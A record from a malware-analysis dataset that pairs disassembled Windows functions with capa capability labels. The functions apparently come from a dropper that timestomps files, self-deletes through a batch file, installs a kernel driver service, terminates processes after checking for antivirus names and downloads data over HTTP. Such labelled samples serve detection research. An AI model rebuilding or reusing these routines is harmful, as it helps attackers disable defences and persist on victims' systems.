joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014dd
Capabilities:
Delete file
Extract resource via kernel32 functions
Get common file path
Move file
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
lea eax, [ebp - 0x128]
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x128]
push str._release.tmp
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
movzx eax, word [ebp + 0xc]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov ebx, eax
xor esi, esi
cmp ebx, esi
je 0x40155a
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, esi
mov dword [ebp + 0xc], eax
je 0x40155a
push esi
push 0x80
push 2
push esi
push 2
lea eax, [ebp - 0x128]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, esi
jne 0x401561
xor eax, eax
jmp 0x401602
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20]
mov word [ebp - 0x10], 0x7d4
mov word [ebp - 0xe], 8
push eax
lea eax, [ebp - 0x10]
push eax
mov word [ebp - 0xa], 0x11
mov word [ebp - 8], 0x14
mov word [ebp - 6], si
call dword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_LocalFileTimeToFileTime]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x18]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
lea eax, [ebp - 0x24]
push esi
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + 0x14]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 2
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40173c
Capabilities:
Create process on windows
Get common file path
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x300
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0xff]
mov byte [ebp - 0x100], bl
push 0x3f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x2ff]
mov byte [ebp - 0x300], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x300]
push 0x100
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x100]
push 0x40a180
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x100]
push str.delloop_r_n
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push str.del
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push 0x40a168
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push 0x40a164
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push str.if_exist__
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x40
lea eax, [ebp - 0x100]
push str.__goto_delloop_r_n
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push str.del__0
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
xor eax, eax
lea edi, [ebp - 0x1ff]
mov byte [ebp - 0x200], bl
push 0x3f
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x200]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x200]
push str.del09.bat
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x200]
pop ecx
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL__lcreat]
mov esi, eax
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL__lwrite]
push esi
call dword [sym.imp.KERNEL32.DLL__lclose]
push ebx
push ebx
lea eax, [ebp - 0x200]
push ebx
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401e02
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6f4
push ebx
push esi
push edi
push 0x40a0bc
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xor ebx, ebx
cmp eax, ebx
je 0x401e92
push str.ZwLoadDriver
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x3f
mov dword [0x40b14c], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x2db]
mov byte [ebp - 0x2dc], bl
rep stosd dword es:[edi], eax
push dword [ebp + 8]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xdc]
push str.SystemCurrentControlSetServices_s
push eax
call esi
mov byte [ebp + eax - 0xdc], bl
lea eax, [ebp - 0x2dc]
push str.HKEY_LOCAL_MACHINESystemCurrentControlSetServices
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x14
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0xdc]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x401e99
xor eax, eax
jmp 0x401fa9
lea eax, [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
push eax
push 4
push ebx
push str.Type
mov byte [ebp - 4], 1
push dword [ebp - 0xc]
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], bl
call edi
lea eax, [ebp - 4]
push 4
push eax
push 4
push ebx
push str.ErrorControl
push dword [ebp - 0xc]
call edi
lea eax, [ebp - 8]
push 4
push eax
push 4
push ebx
push str.Start
push dword [ebp - 0xc]
mov byte [ebp - 8], 2
mov byte [ebp - 7], bl
mov byte [ebp - 6], bl
mov byte [ebp - 5], bl
call edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 0xc]
lea eax, [ebp - 0x1dc]
push str.___s
push eax
call esi
mov byte [ebp + eax - 0x1dc], bl
mov ecx, 0x82
xor eax, eax
lea edi, [ebp - 0x6f2]
mov word [ebp - 0x6f4], bx
push 0x208
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x6f4]
push eax
lea eax, [ebp - 0x1dc]
push eax
call fcn.00401d92
push dword [ebp + 8]
lea eax, [ebp - 0xdc]
push str.RegistryMachineSystemCurrentControlSetServices_s
push eax
call esi
mov esi, eax
mov ecx, 0x82
xor eax, eax
lea edi, [ebp - 0x4e6]
mov word [ebp - 0x4e8], bx
push 0x208
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x4e8]
mov byte [ebp + esi - 0xdc], bl
push eax
lea eax, [ebp - 0xdc]
push eax
call fcn.00401d92
lea eax, [ebp - 0x4e8]
add esp, 0x30
mov dword [ebp - 0x10], eax
lea eax, [esi + esi]
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x14]
push eax
call dword [0x40b14c]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401fae
Capabilities:
Check mutex on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
mov esi, str.disks
lea edi, [ebp - 8]
and byte [ebp - 0x11c], 0
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x41
mov ebx, dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
pop ecx
xor eax, eax
lea edi, [ebp - 0x11b]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x11c]
push eax
push str._SystemRoot_System32drivers
call ebx
test eax, eax
je 0x4020a4
lea eax, [ebp - 0x11c]
push str.disks.sys
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00401e02
mov esi, str.disks01AAA
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
and byte [ebp - 0x224], 0
add esp, 0x10
movsb byte es:[edi], byte [esi]
push 0x41
xor eax, eax
pop ecx
lea edi, [ebp - 0x223]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x224]
push 0x104
push eax
push str._SystemRoot_System32drivers
call ebx
test eax, eax
je 0x4020a4
lea eax, [ebp - 0x224]
push str.disks01AAA.sys
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str.ssdtt
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x402092
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x4020a7
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00401e02
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4020ac
Capabilities:
Get common file path

Disassembly:
mov eax, 0x407750
call fcn.00407400
sub esp, 0x1d4
push ebx
push esi
xor ebx, ebx
push edi
or esi, 0xffffffff
cmp dword [0x40b238], ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
jne 0x402295
mov edi, 0x9c
lea eax, [ebp - 0xdc]
push edi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xdc]
mov dword [ebp - 0xdc], edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetVersionExA]
push eax
call edi
cmp eax, ebx
jne 0x40213b
lea eax, [ebp - 0xdc]
mov dword [ebp - 0xdc], 0x94
push eax
call edi
test eax, eax
je 0x4021ee
mov eax, dword [ebp - 0xcc]
dec eax
dec eax
jne 0x4021ee
push pe_nt_image_headers32
xor eax, eax
pop ecx
lea edi, [ebp - 0x1df]
mov byte [ebp - 0x1e0], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x34], 0x84
push eax
mov dword [ebp - 0x24], 0x88
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x2c], 0xc8
mov dword [ebp - 0x18], 0x54
mov dword [ebp - 0x1c], 0x74
mov dword [ebp - 0x20], 0x4c
mov dword [ebp - 0x28], 0x68
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x1e0]
push 0x40a3d0
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1e0]
push 0x40a038
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x1e0]
push eax
push 0x40a030
call fcn.00401fae
mov eax, dword [ebp - 0x38]
add esp, 0x20
cmp eax, esi
jne 0x4021f5
mov eax, esi
jmp 0x40233d
push 0x20
push 1
pop edi
mov dword [0x40a044], eax
push edi
call dword [sym.imp.MSVCRT.dll_calloc]
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x40233a
push 4
lea eax, [ebp - 0x34]
pop ebx
push ebx
push eax
push esi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x24]
push ebx
push eax
lea eax, [esi + 4]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x30]
push ebx
push eax
lea eax, [esi + 8]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x2c]
push ebx
push eax
lea eax, [esi + 0xc]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [esi + 0x10]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [esi + 0x14]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x48
lea eax, [ebp - 0x20]
push ebx
push eax
lea eax, [esi + 0x18]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x28]
push ebx
push eax
lea eax, [esi + 0x1c]
push eax
call sub.MSVCRT.dll_memcpy
push esi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 0x1c
mov dword [0x40b238], edi
xor eax, eax
jmp 0x40233d
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x402377
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x12c]
mov dword [ebp - 4], eax
push ecx
push eax
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x402407
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0x128
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x402400
lea eax, [ebp - 0x108]
push eax
call fcn.0040234c
test al, al
pop ecx
je 0x4023af
push dword [ebp - 0x124]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push edi
call esi
jmp 0x4023af
push dword [ebp - 4]
call esi
pop edi
pop esi
leave
ret

Function at 0x402409
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push esi
xor esi, esi
push eax
push 0x20006
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40244f
push 4
push dword [ebp + 0x14]
push 4
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x402444
push 1
pop esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402452
push 1
pop esi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x402457
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push esi
xor esi, esi
push eax
push 0x20006
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4024a5
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0x14]
push 1
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40249a
push 1
pop esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4024a8
push 1
pop esi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x402763
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
jne 0x4027aa
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov ecx, 0x4550
cmp dword [eax], ecx
jne 0x4027aa
mov edx, dword [esp + 8]
mov dword [edx], eax
cmp dword [eax], ecx
jne 0x4027aa
mov ecx, dword [esp + 0xc]
add eax, 4
mov dword [edx], eax
add eax, 0x14
mov dword [ecx], eax
cmp word [eax], 0x10b
jne 0x4027aa
mov ecx, dword [esp + 0x10]
add eax, 0xe0
push 1
mov dword [ecx], eax
pop eax
ret
xor eax, eax
ret

Function at 0x402a04
Capabilities:
Create service
Start service

Disassembly:
push ebp
push esi
push edi
xor esi, esi
push 2
push esi
push esi
or edi, 0xffffffff
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
cmp ebp, esi
je 0x402a84
push ebx
push esi
push esi
push esi
push esi
push esi
push dword [esp + 0x28]
mov edi, str.RESSDT
push esi
push 3
push 1
push 0x10
push edi
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x431
jne 0x402a56
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
push esi
push 3
push esi
push esi
push 0xc0000000
push str..ReAllSDTDOS
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
mov edi, eax
call esi
push ebp
call esi
pop ebx
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x402a8a
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x402ae7
push esi
push edi
push 0x10020
push str.RESSDT
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x402ae2
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call esi
push ebx
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402caa
Capabilities:
Acquire debug privileges
Create thread

Disassembly:
push str.rsmain.exe
call fcn.00403637
test eax, eax
pop ecx
jne 0x402cd7
push str.scanfrm.exe
call fcn.00403637
test eax, eax
pop ecx
jne 0x402cd7
push str.ravtask.exe
call fcn.00403637
test eax, eax
pop ecx
je 0x402d05
xor eax, eax
push eax
push eax
push eax
push 0x402c60
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, 0xffffffff
je 0x402cf5
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp fcn.004013bc
ret
Function at 0x402d06
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push esi
push edi
call fcn.00402caa
mov al, byte [0x40b244]
push 0x3f
mov byte [ebp - 0x100], al
pop ecx
xor eax, eax
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x100]
push 0x100
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x100]
push str.ReAllSDT.sys
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push eax
push 0x40a770
push 0x76
push 0
call fcn.004014dd
lea eax, [ebp - 0x100]
push eax
call fcn.00402a04
mov esi, eax
or eax, 0xffffffff
add esp, 0x1c
cmp esi, eax
je 0x402dad
push 0x40a754
push 0x40a0bc
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push esi
mov dword [0x40b148], eax
call fcn.004028b8
push esi
call fcn.00402a8a
pop ecx
xor eax, eax
pop ecx
pop edi
pop esi
leave
ret
Function at 0x4034b1
Capabilities:
Create process on windows
Get common file path
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x300
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0xff]
mov byte [ebp - 0x100], bl
push 0x3f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x2ff]
mov byte [ebp - 0x300], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x300]
push 0x100
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x100]
push 0x40a180
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x100]
push str.delloop_r_n
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push str.del
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push 0x40a168
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push 0x40a164
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push str.if_exist__
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x40
lea eax, [ebp - 0x100]
push str.__goto_delloop_r_n
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push str.del__0
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
xor eax, eax
lea edi, [ebp - 0x1ff]
mov byte [ebp - 0x200], bl
push 0x3f
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x200]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x200]
push str.del.bat
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x200]
pop ecx
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL__lcreat]
mov esi, eax
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL__lwrite]
push esi
call dword [sym.imp.KERNEL32.DLL__lclose]
push ebx
push ebx
lea eax, [ebp - 0x200]
push ebx
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403637
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
xor ebx, ebx
push edi
push ebx
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4036a9
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x4036a0
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x403669
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x4036ad
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x40781b
call fcn.00407400
sub esp, 0x410
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x10], ebx
push 1
pop edi
push ebx
push ebx
push ebx
push ebx
push str.GOOGLE
mov dword [ebp - 4], edi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x1c], esi
jne 0x4036f8
mov ecx, dword [ebp + 8]
push str.error
call sub.MFC42.DLL_CString::CString_2
mov dword [ebp - 0x10], edi
jmp 0x40377d
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
jne 0x40371f
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.error
jmp 0x403772
push 0x400
lea eax, [ebp - 0x41c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x41c]
push 0x3ff
push eax
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, edi
jne 0x403756
cmp dword [ebp - 0x18], ebx
je 0x40375b
cmp dword [ebp - 0x18], ebx
jne 0x403734
push dword [ebp - 0x14]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x1c]
call esi
lea eax, [ebp - 0x41c]
push eax
mov ecx, dword [ebp + 8]
call sub.MFC42.DLL_CString::CString_2
mov dword [ebp - 0x10], edi
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret